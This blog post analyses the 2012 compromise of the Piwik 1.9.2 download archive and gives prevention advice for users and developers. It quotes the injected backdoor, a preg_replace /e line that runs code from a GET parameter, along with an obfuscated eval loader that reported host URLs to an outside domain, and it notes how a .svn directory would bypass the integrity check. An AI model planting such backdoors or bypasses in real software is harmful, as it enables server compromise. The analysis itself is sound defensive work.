On the 26th of November 2012 the downloadable archive of Piwik 1.9.2 was compromised for a about eight hours. There are a few things that we can learn from this attack and conclusions we can draw to mitigate or even prevent this in the future.

Attack analysis

The attack was first disclosed to the members of the Piwik development team and then posted in the Piwik Forum by a user named schnoog.

The user reported, that the downloaded archive from piwik.org contained malicious code in core/Loader.php. He highlighted a line containing a base64 encoded and gzip compressed string which is typical for these kind of attacks.

eval(gzuncompress(base64_decode("...")));

The decoded string turns out to consist of two functions that try to send the URL of the webhost to a script that is hosted on prostoivse.com. A user in the forum pointed out that the domain name, despite being registered by a person in the US, translates from russian to its just simple. Google Translate detects prostoivse as slovenian prosto vse, which stands for free for all. It seems, that Piwik has been attacked by some russian hackers.

Ars Technica also covers this attack in detail and points out, that the IP behind the domain name has previously been used by online scammers. While the signs point to hackers with a russian background, the IP and the domain name belong to addresses in the US.

The lines before above mentioned eval function are a little more scary:

Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}

preg_replace is a commonly used function in PHP scripts and is used to perform a search and replace using a regular expression. The /e modifier will make PHP evaluate code in the replacement string. This modifier will be removed in PHP 5.5 and is deprecated in newer versions of PHP as it is a known attack vector in PHP applications.

Use of this modifier is discouraged, as it can easily introduce security vulnerabilites.

Since error reporting is deactivated by the malicious code, one will not even see deprecation warnings in the log file.

After the attack was disclosed, the Piwik team tried to figure out how the attack was possible. In their follow up blog post, the developers explained how the attacker got access to the webserver:

Attacker used a security issue in a WordPress plugin we were using, and gained partial access to the piwik.org server.

Piwik Integrity check

Piwik already comes with a built-in integrity check of all its files, that is executed whenever a user installs or updates a Piwik instance. A user in the Piwik Forum confirmed that the integrity check detected the malicious code change and showed a warning during the installation process. This however does not prevent the user from proceeding with the installation or the upgrade.

The way the integrity check works is relatively simple. A function in core/Piwik.php called Piwik::getFileIntegrityInformation() loads an array of filename-to-hash mappings from config/manifest.inc.php. The function then iterates over all files in the archive, computes the md5 sums and compares them to those listed in the manifest.

class Manifest {
    static $files=array(
        "composer.json" => array("676", "0d8c0b7c7583fa526137aa804010729b"),
        [..]
    );
}

Whenever a md5 sum does not match the sum of the corresponding file, a warning is issued to the user. While this looks like a great way to prevent attacks, it does help in case someone compromises your download archive. The attacker could have easily changed the manifest containing the md5 sums to reflect the malicious changes he made.

// ignore dev environments
if(file_exists(PIWIK_INCLUDE_PATH . '/.svn'))
{
        $messages[] = Piwik_Translate('General_WarningFileIntegritySkipped');
        return $messages;
}

Instead of modifying the manifest file, the attacker could also have created a .svn directory in the archive which would have led Piwik to skip the integrity check altogether and only display a warning to the user.

Prevention

There are several things that both users and developers should learn from this attack.

User side

PHP is a language that is known for many systems with security flaws in them. This cannot only be blamed on the language itself, as there are always developers writing bad and insecure code. There is a saying that eval is evil and should not be used in any program. PHP can be configured to disable some built-in functions with the disable_functions directive in the php.ini. Since eval is a language construct and not an internal function, we cannot disable it that easily. Suhosin, a security patch for PHP, however allows you to blacklist eval.

If eval() is the answer, then you asked the wrong question

The attacker disguised the malicious code using a base64 encoded string and tried to execute it with the eval function. Theoretically we could blacklist eval with Suhosin to prevent future attacks that use a similar approach. Sadly though, the template engine that Piwik uses (Smarty) requires the eval function and it would render Piwik non-functional if we were trying to disable it.

One thing can be done though: Most Open Source projects provide md5 sums of their downloadable archives. You should always make sure that the md5 sum matches the one of your downloaded copy before trying to install anything. Always be aware, that if the md5 sum is served by the exact same webserver as the downloaded archive, that it might be compromised as well.

In this special case, Piwik showed a warning message to the user because of the failed integrity check. Whenever you have to deal with any kind of application that is visible to the web, make sure to always read warning messages.

Developer side

There are a few things that the developers could have done, to prevent the attack in the first place. The latest version of Piwik is currently served under the URL http://piwik.org/latest.zip. By using the same host for serving the download archive and the project website you leave multiple attack vectors open. The project page is served by Wordpress, which has a long history of exploits and vulnerabilities. In the blog post following the attack, the developers confirmed that the attack used a bug in a third-party plugin for Wordpress. To sum this up: It is not a good idea to host an important download archive alongside an application that is known for security issues.

The basic setup should look like this:

1. Webserver for serving the project page and documentation
2. Separate server for all offered download packages
3. Another server to host the md5 sums for all downloads

While 1 and 3 can optionally be combined, this setup ensures that even if one host is compromised, users can still detect when someone tampered with a file.

In this case the source code repository was not compromised. No matter how many people work on a project, there should always be someone peer reviewing all commits to the repository in order to detect attempts to introduce backdoors (both intentionally and unintentionally). If the source code is compromised, even the setup above cannot prevent malicious code from being distributed to users as the md5 sum will perfectly match the distributed file.

Advice

Popular open source projects often offer bounties for finding bugs and disclosing them to the developers before making them public. This gives the developers time to work on a fix and schedule a new release before bugs or exploits are publicly used (so called 0-days). Piwik is amongst the open source projects that offer such a security bug bounty program, so if you ever find a security issue in the source code please tell it to the developers first!